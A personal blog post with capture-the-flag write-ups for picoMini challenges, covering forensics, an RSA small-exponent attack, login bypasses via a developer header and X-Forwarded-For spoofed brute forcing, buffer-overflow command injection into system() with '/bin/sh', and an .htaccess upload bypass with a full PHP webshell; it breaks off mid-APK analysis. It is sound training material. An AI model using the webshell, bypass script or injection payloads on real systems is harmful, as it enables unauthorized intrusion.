Zimeng Xiong's Weblog

About

Solving picoMini by CMU-Africa

A friend recommended picoCTF to me. I had played similar games like banditOverTheWire before, so I thought it would be pretty fun to try out.


Log Hunt

Our server seems to be leaking pieces of a secret flag in its logs. The parts are scattered and sometimes repeated. Can you reconstruct the original flag? Download the logs and figure out the full flag from the fragments.

  • The server.log file contains thousands of lines of codes:
[1990-08-09 10:00:10] INFO FLAGPART: picoCTF{us3_
[1990-08-09 10:00:16] WARN Disk space low
[1990-08-09 10:00:19] DEBUG Cache cleared
[1990-08-09 10:00:23] WARN Disk space low
[1990-08-09 10:00:25] INFO Service restarted
[1990-08-09 10:00:33] WARN Disk space low
[1990-08-09 10:00:38] ERROR Connection lost
[1990-08-09 10:00:46] ERROR Failed login attempt

This seems to be pretty easy, the flag is just contained in logs tagged with: INFO FLAGPART

Performing a grep, we easily find the flag:

zimengx@endeavour ~/S/p/C/LogHunt> grep "FLAGPART" server.log
[1990-08-09 10:00:10] INFO FLAGPART: picoCTF{us3_
[1990-08-09 10:02:55] INFO FLAGPART: y0urlinux_
[1990-08-09 10:05:54] INFO FLAGPART: sk1lls_
[1990-08-09 10:05:55] INFO FLAGPART: sk1lls_
[1990-08-09 10:10:54] INFO FLAGPART: cedfa5fb}
[1990-08-09 10:10:58] INFO FLAGPART: cedfa5fb}
[1990-08-09 10:11:06] INFO FLAGPART: cedfa5fb}
[1990-08-09 11:04:27] INFO FLAGPART: picoCTF{us3_
[1990-08-09 11:04:29] INFO FLAGPART: picoCTF{us3_
[1990-08-09 11:04:37] INFO FLAGPART: picoCTF{us3_
[1990-08-09 11:09:16] INFO FLAGPART: y0urlinux_
[1990-08-09 11:09:19] INFO FLAGPART: y0urlinux_
[1990-08-09 11:12:40] INFO FLAGPART: sk1lls_
[1990-08-09 11:12:45] INFO FLAGPART: sk1lls_
[1990-08-09 11:16:58] INFO FLAGPART: cedfa5fb}
[1990-08-09 11:16:59] INFO FLAGPART: cedfa5fb}
[1990-08-09 11:17:00] INFO FLAGPART: cedfa5fb}
[1990-08-09 12:19:23] INFO FLAGPART: picoCTF{us3_
[1990-08-09 12:19:29] INFO FLAGPART: picoCTF{us3_
[1990-08-09 12:19:32] INFO FLAGPART: picoCTF{us3_
[1990-08-09 12:23:43] INFO FLAGPART: y0urlinux_
[1990-08-09 12:23:45] INFO FLAGPART: y0urlinux_
[1990-08-09 12:23:53] INFO FLAGPART: y0urlinux_
[1990-08-09 12:25:32] INFO FLAGPART: sk1lls_
[1990-08-09 12:28:45] INFO FLAGPART: cedfa5fb}
[1990-08-09 12:28:49] INFO FLAGPART: cedfa5fb}
[1990-08-09 12:28:52] INFO FLAGPART: cedfa5fb}

Riddle Registry

Hi, intrepid investigator! 📄🔍 You've stumbled upon a peculiar PDF filled with what seems like nothing more than garbled nonsense. But beware! Not everything is as it appears. Amidst the chaos lies a hidden treasure—an elusive flag waiting to be uncovered. Find the PDF file here Hidden Confidential Document and uncover the flag within the metadata.

Running exiftool to extract the metadata,

zimengx@endeavour ~/S/p/C/RiddleRegistry> exiftool confidential.pdf
ExifTool Version Number         : 13.36
File Name                       : confidential.pdf
Directory                       : .
File Size                       : 183 kB
File Modification Date/Time     : 2025:10:05 17:25:04-07:00
File Access Date/Time           : 2025:10:05 17:21:14-07:00
File Inode Change Date/Time     : 2025:10:05 17:25:04-07:00
File Permissions                : -rw-r--r--
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.7
Linearized                      : No
Page Count                      : 1
Producer                        : PyPDF2
Author                          : cGljb0NURntwdXp6bDNkX20zdGFkYXRhX2YwdW5kIV8zNTc4NzM5YX0=

The Author field contains what is almost certainly base64 encoded text, decoding it should give us the flag:

zimengx@endeavour ~/S/p/C/RiddleRegistry> echo "cGljb0NURntwdXp6bDNkX20zdGF
kYXRhX2YwdW5kIV8zNTc4NzM5YX0=" | base64 --decode
picoCTF{puzzl3d_m3tadata_f0und!_3578739a}

Corrupted File

This file seems broken... or is it? Maybe a couple of bytes could make all the difference. Can you figure out how to bring it back to life? Download the file here.

Hints tell us the file is a JPG. The header of the JPG is likely corrupt. JPGs start with FF D8 FF Using hexedit:

00000000   5C 78 FF E0  00 10 4A 46  49 46 00 01  01 00 00 01  \x....JFIF......
00000010   00 01 00 00  FF DB 00 43  00 08 06 06  07 06 05 08  .......C........
00000020   07 07 07 09  09 08 0A 0C  14 0D 0C 0B  0B 0C 19 12  ................
00000030   13 0F 14 1D  1A 1F 1E 1D  1A 1C 1C 20  24 2E 27 20  ........... $.'
00000040   22 2C 23 1C  1C 28 37 29  2C 30 31 34  34 34 1F 27  ",#..(7),01444.'

Correcting the first two blocks to FF D8 restores the JPG!


Crack the Gate 1

We’re in the middle of an investigation. One of our persons of interest, ctf player, is believed to be hiding sensitive data inside a restricted web portal. We’ve uncovered the email address he uses to log in: ctf-player@picoctf.org. Unfortunately, we don’t know the password, and the usual guessing techniques haven’t worked. But something feels off... it’s almost like the developer left a secret way in. Can you figure it out? The website is running here. Can you try to log in?

We are presented with a login scren:

Upon inspection, we see the way the form handles passwords:

</head>
<body>
 <!-- ABGR: Wnpx - grzcbenel olcnff: hfr urnqre "K-Qri-Npprff: lrf" -->
<!-- Remove before pushing to production! -->

    <form id="loginForm">
        <h2 style="font-size: 24px; margin-bottom: 24px;">
            Login
        </h2>
        <label for="email">Email:</label>
        <input type="email" id="email" name="email" required><br>
        <label for="password">Password:</label>
        <input type="password" id="password" name="password" required><br>
        <button type="submit">Login</button>
    </form>

    <script>
        document.getElementById('loginForm').addEventListener('submit', function(event) {
            event.preventDefault();

            const formData = {
                email: document.getElementById('email').value,
                password: document.getElementById('password').value
            };

            fetch('/login', {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/json'
                },
                body: JSON.stringify(formData)
            })
            .then(response => response.json())
            .then(data => {
                console.log(data);
                if (data.success) {
    prompt('Login successful!\nFlag:', data.flag);
} else {
    alert('Invalid credentials');
}

            })
            .catch(error => console.error('Error:', error));
        });
    </script>

</body>
</html>

We see a comment that is "supposed to be removed before pushng to production" LOL! It might be the flag or the password.

<!-- ABGR: Wnpx - grzcbenel olcnff: hfr urnqre "K-Qri-Npprff: lrf" -->
<!-- Remove before pushing to production! -->

Hint #2 tells us this is a ROT13 cipher:

A common trick is to rotate each letter by 13 positions in the alphabet.

Writing a simple python script to perform a ROT13 decode:

string = """ <!-- ABGR: Wnpx - grzcbenel olcnff: hfr urnqre "K-Qri-Npprff: lrf" -->"""

def rot13(text):
    result = []
    for char in text:
        if char.isalpha():
            base = ord('A') if char.isupper() else ord('a')
            result.append(chr((ord(char) - base + 13) % 26 + base))
        else:
            result.append(char)
    return ''.join(result)

decoded = rot13(string)
print(decoded)
zimengx@endeavour ~/S/p/C/CrackTheGate1> python3 decode.py
 

We see a development note left to "Jack" to use X-Dev-Access when sending the POST request to bypass the login. We know the endpoint is /login from the HTML before.

zimengx@endeavour ~/S/p/C/CrackTheGate1> curl -X POST \
                                               -H "Content-Type: application/json" \
                                               -H "X-Dev-Access: yes" \
                                               -d '{"email": "ctf-player@picoctf.org", "password": ""}' \
                                                 http://amiable-citadel.picoctf.net:52352/login
{"success":true,"email":"ctf-player@picoctf.org","firstName":"pico","lastName":"player","flag":"picoCTF{brut4_f0rc4_125f752d}"}⏎

Yay!!


Flag in Flame

The SOC team discovered a suspiciously large log file after a recent breach. When they opened it, they found an enormous block of encoded text instead of typical logs. Could there be something hidden within? Your mission is to inspect the resulting file and reveal the real purpose of it. The team is relying on your skills to uncover any concealed information within this unusual log. Download the encoded data here: Logs Data. Be prepared—the file is large, and examining it thoroughly is crucial

Hints tell us the file is base64 encoded and is a image, thats straightforward enough.

Use base64 to decode the data and generate the image file.

zimengx@endeavour ~/S/p/C/FlagInFlame> echo logs.txt | base64 --decode
��,base64: invalid input

Looks like the file isn't in b64, maybe hex then?

print(bytes.fromhex("7069636F43544678666F72656E736963735F616E616C797369735F69735F616D617A696E675F35636363376362307D").decode())
zimengx@endeavour ~/S/p/C/FlagInFlame [0|1]> python3 attempt.py
picoCTFxforensics_analysis_is_amazing_5ccc7cb0}

Yup!!


Hidden in Plainsight

You’re given a seemingly ordinary JPG image. Something is tucked away out of sight inside the file. Your task is to discover the hidden payload and extract the flag. Download the jpg image here.

Another image problem, first we check the metadata:

zimengx@endeavour ~/S/p/C/HiddenInPlainsight> exiftool img.jpg
ExifTool Version Number         : 13.36
File Name                       : img.jpg
Directory                       : .
File Size                       : 74 kB
File Modification Date/Time     : 2025:09:29 14:29:24-07:00
File Access Date/Time           : 2025:10:05 17:44:33-07:00
File Inode Change Date/Time     : 2025:10:05 17:44:33-07:00
File Permissions                : -rw-r--r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Resolution Unit                 : None
X Resolution                    : 1
Y Resolution                    : 1
Comment                         : c3RlZ2hpZGU6Y0VGNmVuZHZjbVE9
Image Width                     : 640
Image Height                    : 640
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 640x640
Megapixels                      : 0.410

Theres a comment! Looks b64:

zimengx@endeavour ~/S/p/C/HiddenInPlainsight> echo "c3RlZ2hpZGU6Y0VGNmVuZHZjbVE9"
 | base64 --decode
steghide:cEF6endvcmQ=

We get steghide and what looks to be another b64 string. Doing some googling on steghide:

Steghide is steganography program which hides bits of a data file in some of the least significant bits of another file in such a way that the existence of the data file is not visible and cannot be proven. Steghide is designed to be portable and configurable and features hiding data in bmp, jpeg, wav and au files, blowfish encryption, MD5 hashing of passphrases to blowfish keys, and pseudo-random distribution of hidden bits in the container data. Steghide is useful in digital forensics investigations.

Installing steghide (arch btw):

yay -S steghide

And running extract -sf on the image:

zimengx@endeavour ~/S/p/C/HiddenInPlainsight [1]> steghide extract -sf img
Enter passphrase: ⏎

We are prompted for a passphrase?? Maybe thats what was in the b64 text.

Yup!

zimengx@endeavour ~/S/p/C/HiddenInPlainsight> echo "cEF6endvcmQ=" | base64 --deco
de
pAzzword⏎
zimengx@endeavour ~/S/p/C/HiddenInPlainsight> steghide extract -sf img.jpg --pass
phrase "pAzzword"
wrote extracted data to "flag.txt".
zimengx@endeavour ~/S/p/C/HiddenInPlainsight> cat flag.txt
picoCTF{h1dd3n_1n_1m4g3_5d4cba73}

Yay!


Input Injection 1

A friendly program wants to greet you… but its goodbye might say more than it should. Can you convince it to reveal the flag? connect to the challenge instance nc saffron-estate.picoctf.net 61381. You can Download the program file here. And source code

We get an executable binary and a vuln.c file:

#include <string.h>
#include <stdio.h>
#include <stdlib.h>

void fun(char *name, char *cmd);

int main() {
    char name[200];
    printf("What is your name?\n");
    fflush(stdout);


    fgets(name, sizeof(name), stdin);
    name[strcspn(name, "\n")] = 0;

    fun(name, "uname");
    return 0;
}

void fun(char *name, char *cmd) {
    char c[10];
    char buffer[10];

    strcpy(c, cmd);
    strcpy(buffer, name);

    printf("Goodbye, %s!\n", buffer);
    fflush(stdout);
    system(c);
}

Immediately, we see a system(c) call. We need to achieve injection into str c. c is copied from cmd. More importantly, name is of length 200 while buffer is only of length 10.

buffer is declared second, so it might be allocated at a higher memory address.

c is declared first, so it might be allocated at a lower memory address, immediately below buffer on the stack.

Given this scenario, we can write any length >10 to name and achieve code execution.

zimengx@endeavour ~/S/p/C/InputInjection1> nc saffron-estate.picoctf.net 61381
What is your name?
aaaaaaaaaaaaaaaaaaa;/bin/sh
Goodbye, aaaaaaaaaaaaaaaaaaa;/bin/sh!
ls
flag.txt
cat flag.txt
picoCTF{0v3rfl0w_c0mm4nd_0995fed8}

Crack the Gate 2

The login system has been upgraded with a basic rate-limiting mechanism that locks out repeated failed attempts from the same source. We’ve received a tip that the system might still trust user-controlled headers. Your objective is to bypass the rate-limiting restriction and log in using the known email address: ctf-player@picoctf.org and uncover the hidden secret. The website is running here. Can you try to log in?. Download the passwords list here.

We have a list of passwords and one is presumably correct

JiywhfQn
3zSd0XU0
50ylF3Uo
7XbIBfcQ
W4K0inBD
pSvOYV4a
MpNXnpfS
ZuylCpyS
bgl0SpNj
h2qf8Ppg
maSXnInx
iiidp7qG
enyDlwq8
P5gRbs2V
YrWWubgE
Gq7ZVFuD
Xpseyq9h
lVY5T9Ah
URgET2ph
6epBnWRf

However, we are told we would be raitimited if we come from the same IP Address. Hints tell us we can use the X-forwarded-For header to spoof IPs.

import requests
import json

url = "http://amiable-citadel.picoctf.net:64714/login"
email = "ctf-player@picoctf.org"
ip_base = "192.168.1."

with open("passwords.txt", "r") as file:
    passwords = file.read().splitlines()

for i, password in enumerate(passwords):
    ip = f"{ip_base}{i % 254 + 1}"
    headers = {
        "Content-Type": "application/json",
        "X-Forwarded-For": ip
    }
    data = {
        "email": email,
        "password": password
    }
    response = requests.post(url, headers=headers, data=json.dumps(data))
    result = response.json()
    if result.get("success"):
        print(result)
        break
zimengx@endeavour ~/S/p/C/CrackTheGate2> python3 bypass.py
{'success': True, 'email': 'ctf-player@picoctf.org', 'firstName': 'pico', 'lastName': 'player', 'flag': 'picoCTF{xff_byp4ss_brut3_ff36dbbc}'}

Yay!


Crack the Power

We received an encrypted message. The modulus is built from primes large enough that factoring them isn’t an option, at least not today. See if you can make sense of the numbers and reveal the flag. Download the message.

Ugh... We have a math problem.

The message contains three variables: n, e, c

n = 340226612280453880490912927616922654745871244089289366256789212515896004497250888584335811193830299831152937221710730524607657274800439820657259458335845939604931208401645166794422421061753256418606981891166292142312310415412822538932571250257863289381608926058569443787372767929674420189682140643934828208884862456000947387644814288954199430403778409100671478459624487135877196949510819070843489062177812610169137985121981686847113760741151147789395635551162493262500781469414674715294121266223065415289341718811129151397178263070097355368724306157335976262867024266322656022224190318373194930817027553444120202292747938671524024999221893702460945171052909676860508777477633202757108535727508915761012307312590775794562319046042072447802326462685809774970879511380747691257281474551283000843537035593404036052654969917069297984148223213335741086514064256735270274423335098606567685634207561183967667312482624845887343588501669563704153809977521324544338273705452304166553609342275320152815696737710312761215921474738505250301661262646544496431458447294223499494555443767746404864888997183239119346466619148212371671931706071305354788570231263917420073144154793116214641438554148643280191881422603579089810874350592019963992600316667
e = 20
c = 640637430810406857500566702096274080396661344326148989819149855637707275983472899892750444419300234079892653333362989506852801685008762251130872832744197646466858521890159108234060530632218545536493488645992429077472502031329127700427356736726536701719062158231800255112161983427364020254609533473401843023952968018844806862896943490893119371703331960982414876010742030933003301879372695333343200500711596801923272711473735596859184517981485041587840922031361580523565471754589502606896163103556972744430028454860323232448424368114835718966903896081921822322495308942627206587827869758822635827159743949522778872267782737023325775825987938515587028997868106842378444561485725423380868087876415156656531868887461098120850401515409014096099316919268977722048391610017964961835883458482549333972161386084047586325153495747282557560791442172961910916373381462229380156133838381633915942059818808997063047255803431866226725960708286498794535426919185922421000300087374455173022674406631175145902138929540939977920690014479484669993159370314372551152369559506116674980314595547354085609712390963374849992524368048463233368412763016667750045491935391770001

This looks like a RSA encryption key with N=modulus, E=Public Exponent, and C=Cipher Text

This is starting to get less straightforward than the other ones.

Hints tell us to use Coppersmith's attack for small messages. In standard RSA, the ciphertext c is computed as c=memodnc=m^e\mod{n}. This operation means we take the remainder after dividing by n.

This attack works when the message m is so small that me<nm^e\lt{n} When this condition holds, the modular reduction step is superfluous because the result of the exponentiation is already smaller than the modulus.

Since we are working with integers, this simplifies the problem to a algebraic one. To recover m, we need to find the integer e-th root of the ciphertext c. m=cem=\sqrt[e]{c} We can do this with the gmpy2 library

gmpy2 is a C-coded Python extension module that supports multiple-precision arithmetic. It is the successor to the original gmpy module (supported only the GMP library). gmpy2 adds support for the MPFR (correctly rounded real floating-point arithmetic) and MPC (correctly rounded complex floating-point arithmetic) libraries.

import gmpy2

n = 340226612280453880490912927616922654745871244089289366256789212515896004497250888584335811193830299831152937221710730524607657274800439820657259458335845939604931208401645166794422421061753256418606981891166292142312310415412822538932571250257863289381608926058569443787372767929674420189682140643934828208884862456000947387644814288954199430403778409100671478459624487135877196949510819070843489062177812610169137985121981686847113760741151147789395635551162493262500781469414674715294121266223065415289341718811129151397178263070097355368724306157335976262867024266322656022224190318373194930817027553444120202292747938671524024999221893702460945171052909676860508777477633202757108535727508915761012307312590775794562319046042072447802326462685809774970879511380747691257281474551283000843537035593404036052654969917069297984148223213335741086514064256735270274423335098606567685634207561183967667312482624845887343588501669563704153809977521324544338273705452304166553609342275320152815696737710312761215921474738505250301661262646544496431458447294223499494555443767746404864888997183239119346466619148212371671931706071305354788570231263917420073144154793116214641438554148643280191881422603579089810874350592019963992600316667

e = 20

c = 640637430810406857500566702096274080396661344326148989819149855637707275983472899892750444419300234079892653333362989506852801685008762251130872832744197646466858521890159108234060530632218545536493488645992429077472502031329127700427356736726536701719062158231800255112161983427364020254609533473401843023952968018844806862896943490893119371703331960982414876010742030933003301879372695333343200500711596801923272711473735596859184517981485041587840922031361580523565471754589502606896163103556972744430028454860323232448424368114835718966903896081921822322495308942627206587827869758822635827159743949522778872267782737023325775825987938515587028997868106842378444561485725423380868087876415156656531868887461098120850401515409014096099316919268977722048391610017964961835883458482549333972161386084047586325153495747282557560791442172961910916373381462229380156133838381633915942059818808997063047255803431866226725960708286498794535426919185922421000300087374455173022674406631175145902138929540939977920690014479484669993159370314372551152369559506116674980314595547354085609712390963374849992524368048463233368412763016667750045491935391770001



m = gmpy2.iroot(c, e)[0]



m_bytes = int(m).to_bytes((int(m).bit_length() + 7) // 8, byteorder='big')

plaintext = m_bytes.decode('ascii')
(.venv) zimengx@endeavour ~/S/p/C/CrackThePower> python3 attack.py
picoCTF{t1ny_e_9b88056f}

Phew, that was complicated.


Input Injection 2

This program greets you and then runs a command. But can you take control of what command it executes? Connect to the program with netcat: nc saffron-estate.picoctf.net 63308. You can Download the program file here. And source code

As before, we get a vuln.c and a binary executable;

#include <stdio.h>

#include <stdlib.h>

#include <string.h>




int main(void) {

char* username = malloc(28);

char* shell = malloc(28);

printf("username at %p\n", username);

fflush(stdout);

printf("shell at %p\n", shell);

fflush(stdout);

strcpy(shell, "/bin/pwd");

printf("Enter username: ");

fflush(stdout);

scanf("%s", username);

printf("Hello, %s. Your shell is %s.\n", username, shell);

system(shell);

fflush(stdout);

return 0;

}

It is clear we need to overwrite the shell variable to achieve code execution. Since these are made with malloc, we can simply overwrite username, triggering a buffer overflow into shell.

(.venv) zimengx@endeavour ~/S/p/C/CrackThePower [0|SIGINT]> nc saffron-estate.picoctf.net 63308
username at 0xdd952a0
shell at 0xdd952d0
Enter username: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Hello, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa. Your shell is aaaaaaa.

Unlike Input Injection 1, we need to exactly overflow the right amount, so I first tried a random string and noted how much over I went. Then, we can craft the injection:

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa - aaaaaaa = aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa + /bin/sh = aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/bin/sh
(.venv) zimengx@endeavour ~/S/p/C/CrackThePower> nc saffron-estate.picoctf.net 63308
username at 0x3274d2a0
shell at 0x3274d2d0
Enter username: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/bin/sh
ls
flag.txt
cat flag.txt
picoCTF{us3rn4m3_2_sh3ll_48b038ff}
exit
Hello, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/bin/sh. Your shell is /bin/sh.

Yayy!


byp4ss3d

A university's online registration portal asks students to upload their ID cards for verification. The developer put some filters in place to ensure only image files are uploaded but are they enough? Take a look at how the upload is implemented. Maybe there's a way to slip past the checks and interact with the server in ways you shouldn't. You can access the web application at here!

Uhhhh. I'm really lost for this one, so lets check out the hints!

Apache can be tricked into executing non-PHP files as PHP with a .htaccess file.

We need to create a .htaccess file that tells Apache to execute non-PHP files.

AddHandler application/x-httpd-php .jpg
AddType application/x-httpd-php .jpg

Then, we can copy over a simple PHP webshell, naming it webshell.php.jpg

<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd'] . ' 2>&1');
    }
?>
</pre>
</body>
</html>⏎

Then, we upload both files and navigate to the disguised webshell. We are presented with the webshell!!

Poking around, we see flag.txt located two directories above, and since we can only execute one command at a time with no retention, we can cat the flag with cd ../.. && cat flag.txt


M1n10n'5_53cr37

Get ready for a mischievous adventure with your favorite Minions! 🕵️‍♂️💥 They’ve been up to their old tricks, and this time, they've hidden the flag in a devious way within the Android source code. Your task is to channel your inner Minion and dive into the disassembled or decompiled code. Watch out, because these little troublemakers have hidden the flag in multiple sneaky spots or maybe even pulled a fast one and concealed it in the same location!Put on your overalls, grab your magnifying glass, and get cracking. The Minions have left clues, and it's up to you to follow their trail and uncover the flag. Can you outwit these playful pranksters and find their secret? Let the Minion mischief begin!Find the android apk here Minions Mobile Application and try to get the flag.

Oooh, an APK! Scary.

Looking around, we can use apktool to disassemble the apk.

(.venv) zimengx@endeavour ~/S/p/C/M1n10n'5_53cr37> java -jar apktool_2.12.1.jar d -m minions.apk -o minions_out/
I: Using Apktool 2.12.1 on minions.apk with 8 threads
I: Baksmaling classes.dex...
I: Loading resource table...
I: Baksmaling classes3.dex...
I: Baksmaling classes2.dex...
I: Decoding file-resources...
I: Loading resource table from file: /home/zimengx/.local/share/apktool/framework/1.apk
I: Decoding values */* XMLs...
I: Decoding AndroidManifest.xml with resources...
I: Copying original files...
I: Copying unknown files...
(.venv) zimengx@endeavour ~/S/p/C/M/minions_out> grep "pico" -R
smali_classes2/com/example/picoctfimage/R.smali:.class public final Lcom/example/picoctfimage/R;
smali_classes2/com/example/picoctfimage/R.smali:        Lcom/example/picoctfimage/R$color;,
smali_classes2/com/example/picoctfimage/R.smali:        Lcom/example/picoctfimage/R$drawable;,
smali_classes2/com/example/picoctfimage/R.smali:        Lcom/example/picoctfimage/R$id;,
smali_classes2/com/example/picoctfimage/R.smali:        Lcom/example/picoctfimage/R$layout;,
smali_classes2/com/example/picoctfimage/R.smali:        Lcom/example/picoctfimage/R$mipmap;,
smali_classes2/com/example/picoctfimage/R.smali:        Lcom/example/picoctfimage/R$string;,
smali_classes2/com/example/picoctfimage/R.smali:        Lcom/example/picoctfimage/R$style;,
smali_classes2/com/example/picoctfimage/R.smali:        Lcom/example/picoctfimage/R$xml;
smali_classes2/com/example/picoctfimage/Rstring.smali:.classpublicfinalLcom/example/picoctfimage/Rstring.smali:.class public final Lcom/example/picoctfimage/Rstring;
smali_classes2/com/example/picoctfimage/R$string.smali:    value = Lcom/example/picoctfimage/R;
smali_classes2/com/example/picoctfimage/Rlayout.smali:.classpublicfinalLcom/example/picoctfimage/Rlayout.smali:.class public final Lcom/example/picoctfimage/Rlayout;
smali_classes2/com/example/picoctfimage/R$layout.smali:    value = Lcom/example/picoctfimage/R;
smali_classes2/com/example/picoctfimage/Rmipmap.smali:.classpublicfinalLcom/example/picoctfimage/Rmipmap.smali:.class public final Lcom/example/picoctfimage/Rmipmap;
smali_classes2/com/example/picoctfimage/R$mipmap.smali:    value = Lcom/example/picoctfimage/R;
smali_classes2/com/example/picoctfimage/Rdrawable.smali:.classpublicfinalLcom/example/picoctfimage/Rdrawable.smali:.class public final Lcom/example/picoctfimage/Rdrawable;
smali_classes2/com/example/picoctfimage/R$drawable.smali:    value = Lcom/example/picoctfimage/R;
smali_classes2/com/example/picoctfimage/Rxml.smali:.classpublicfinalLcom/example/picoctfimage/Rxml.smali:.class public final Lcom/example/picoctfimage/Rxml;
smali_classes2/com/example/picoctfimage/R$xml.smali:    value = Lcom/example/picoctfimage/R;
smali_classes2/com/example/picoctfimage/Rstyle.smali:.classpublicfinalLcom/example/picoctfimage/Rstyle.smali:.class public final Lcom/example/picoctfimage/Rstyle;
smali_classes2/com/example/picoctfimage/R$style.smali:    value = Lcom/example/picoctfimage/R;
smali_classes2/com/example/picoctfimage/Rcolor.smali:.classpublicfinalLcom/example/picoctfimage/Rcolor.smali:.class public final Lcom/example/picoctfimage/Rcolor;
smali_classes2/com/example/picoctfimage/R$color.smali:    value = Lcom/example/picoctfimage/R;
smali_classes2/com/example/picoctfimage/Rid.smali:.classpublicfinalLcom/example/picoctfimage/Rid.smali:.class public final Lcom/example/picoctfimage/Rid;
smali_classes2/com/example/picoctfimage/R$id.smali:    value = Lcom/example/picoctfimage/R;
apktool.yml:  renameManifestPackage: com.example.picoctfimage
AndroidManifest.xml:
AndroidManifest.xml:    
AndroidManifest.xml:        
AndroidManifest.xml:        
smali_classes3/com/example/picoctfimage/MainActivityExternalSyntheticLambda0.smali:.classpublicfinalsyntheticLcom/example/picoctfimage/MainActivityExternalSyntheticLambda0.smali:.class public final synthetic Lcom/example/picoctfimage/MainActivityExternalSyntheticLambda0;
smali_classes3/com/example/picoctfimage/MainActivityExternalSyntheticLambda0.smali:invokestaticp1,p2,Lcom/example/picoctfimage/MainActivity;>lambdaExternalSyntheticLambda0.smali:    invoke-static {p1, p2}, Lcom/example/picoctfimage/MainActivity;->lambdaonCreate$0(Landroid/view/View;Landroidx/core/view/WindowInsetsCompat;)Landroidx/core/view/WindowInsetsCompat;
smali_classes3/com/example/picoctfimage/MainActivity.smali:.class public Lcom/example/picoctfimage/MainActivity;
smali_classes3/com/example/picoctfimage/MainActivity.smali:    sget v0, Lcom/example/picoctfimage/R$layout;->activity_main:I
smali_classes3/com/example/picoctfimage/MainActivity.smali:    invoke-virtual {p0, v0}, Lcom/example/picoctfimage/MainActivity;->setContentView(I)V
smali_classes3/com/example/picoctfimage/MainActivity.smali:    sget v0, Lcom/example/picoctfimage/R$id;->main:I
smali_classes3/com/example/picoctfimage/MainActivity.smali:    invoke-virtual {p0, v0}, Lcom/example/picoctfimage/MainActivity;->findViewById(I)Landroid/view/View;
smali_classes3/com/example/picoctfimage/MainActivity.smali:    new-instance v1, Lcom/example/picoctfimage/MainActivity$ExternalSyntheticLambda0;
smali_classes3/com/example/picoctfimage/MainActivity.smali:    invoke-direct {v1}, Lcom/example/picoctfimage/MainActivity$ExternalSyntheticLambda0;->()V
smali_classes3/com/example/picoctfimage/MainActivity.smali:    invoke-virtual {p0}, Lcom/example/picoctfimage/MainActivity;->getSupportActionBar()Landroidx/appcompat/app/ActionBar;
smali_classes3/com/example/picoctfimage/MainActivity.smali:    invoke-virtual {p0}, Lcom/example/picoctfimage/MainActivity;->getResources()Landroid/content/res/Resources;
smali_classes3/com/example/picoctfimage/MainActivity.smali:    sget v3, Lcom/example/picoctfimage/R$color;->yellow:I

Greping for pico seems to show a high concentration of occurrences in smali_classes3/com/example/picoctfimage/MainActivity.smali and smali_classes2/com/example/picoctfimage. I have no idea what those directories are though. Further, the app seems to be named picoctfimage, so maybe the flag is an image?

And we have a hit!

(.venv) zimengx@endeavour ~/S/p/C/M/minions_out> find . -type f -name "*.jpg"
./res/drawable/minion.jpg

Running exiftool, we get nothing

(.venv) zimengx@endeavour ~/S/p/C/M/minions_out> exiftool res/drawable/minion.jpg
ExifTool Version Number         : 13.36
File Name                       : minion.jpg
Directory                       : res/drawable
File Size                       : 74 kB
File Modification Date/Time     : 2025:10:10 12:35:15-07:00
File Access Date/Time           : 2025:10:10 12:35:15-07:00
File Inode Change Date/Time     : 2025:10:10 12:35:15-07:00
File Permissions                : -rw-r--r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Resolution Unit                 : None
X Resolution                    : 1
Y Resolution                    : 1
Image Width                     : 800
Image Height                    : 711
Encoding Process                : Progressive DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:2 (2 1)
Image Size                      : 800x711
Megapixels                      : 0.569

Maybe its a red herring, lets look in the aforediscovered MainActivity.smali

.class public Lcom/example/picoctfimage/MainActivity;
.super Landroidx/appcompat/app/AppCompatActivity;
.source "MainActivity.java"


# direct methods
.method public constructor ()V
    .locals 0

    .line 14
    invoke-direct {p0}, Landroidx/appcompat/app/AppCompatActivity;->()V

    return-void
.end method

.method static synthetic lambdaonCreateonCreate0(Landroid/view/View;Landroidx/core/view/WindowInsetsCompat;)Landroidx/core/view/WindowInsetsCompat;
    .locals 5
    .param p0, "v"    # Landroid/view/View;
    .param p1, "insets"    # Landroidx/core/view/WindowInsetsCompat;

    .line 22
    invoke-static {}, Landroidx/core/view/WindowInsetsCompat$Type;->systemBars()I

    move-result v0

    invoke-virtual {p1, v0}, Landroidx/core/view/WindowInsetsCompat;->getInsets(I)Landroidx/core/graphics/Insets;

    move-result-object v0

    .line 23
    .local v0, "systemBars":Landroidx/core/graphics/Insets;
    iget v1, v0, Landroidx/core/graphics/Insets;->left:I

    iget v2, v0, Landroidx/core/graphics/Insets;->top:I

    iget v3, v0, Landroidx/core/graphics/Insets;->right:I

    iget v4, v0, Landroidx/core/graphics/Insets;->bottom:I

    invoke-virtual {p0, v1, v2, v3, v4}, Landroid/view/View;->setPadding(IIII)V

    .line 24
    return-object p1
.end method


# virtual methods
.method protected onCreate(Landroid/os/Bundle;)V
    .locals 4
    .param p1, "savedInstanceState"    # Landroid/os/Bundle;

    .line 18
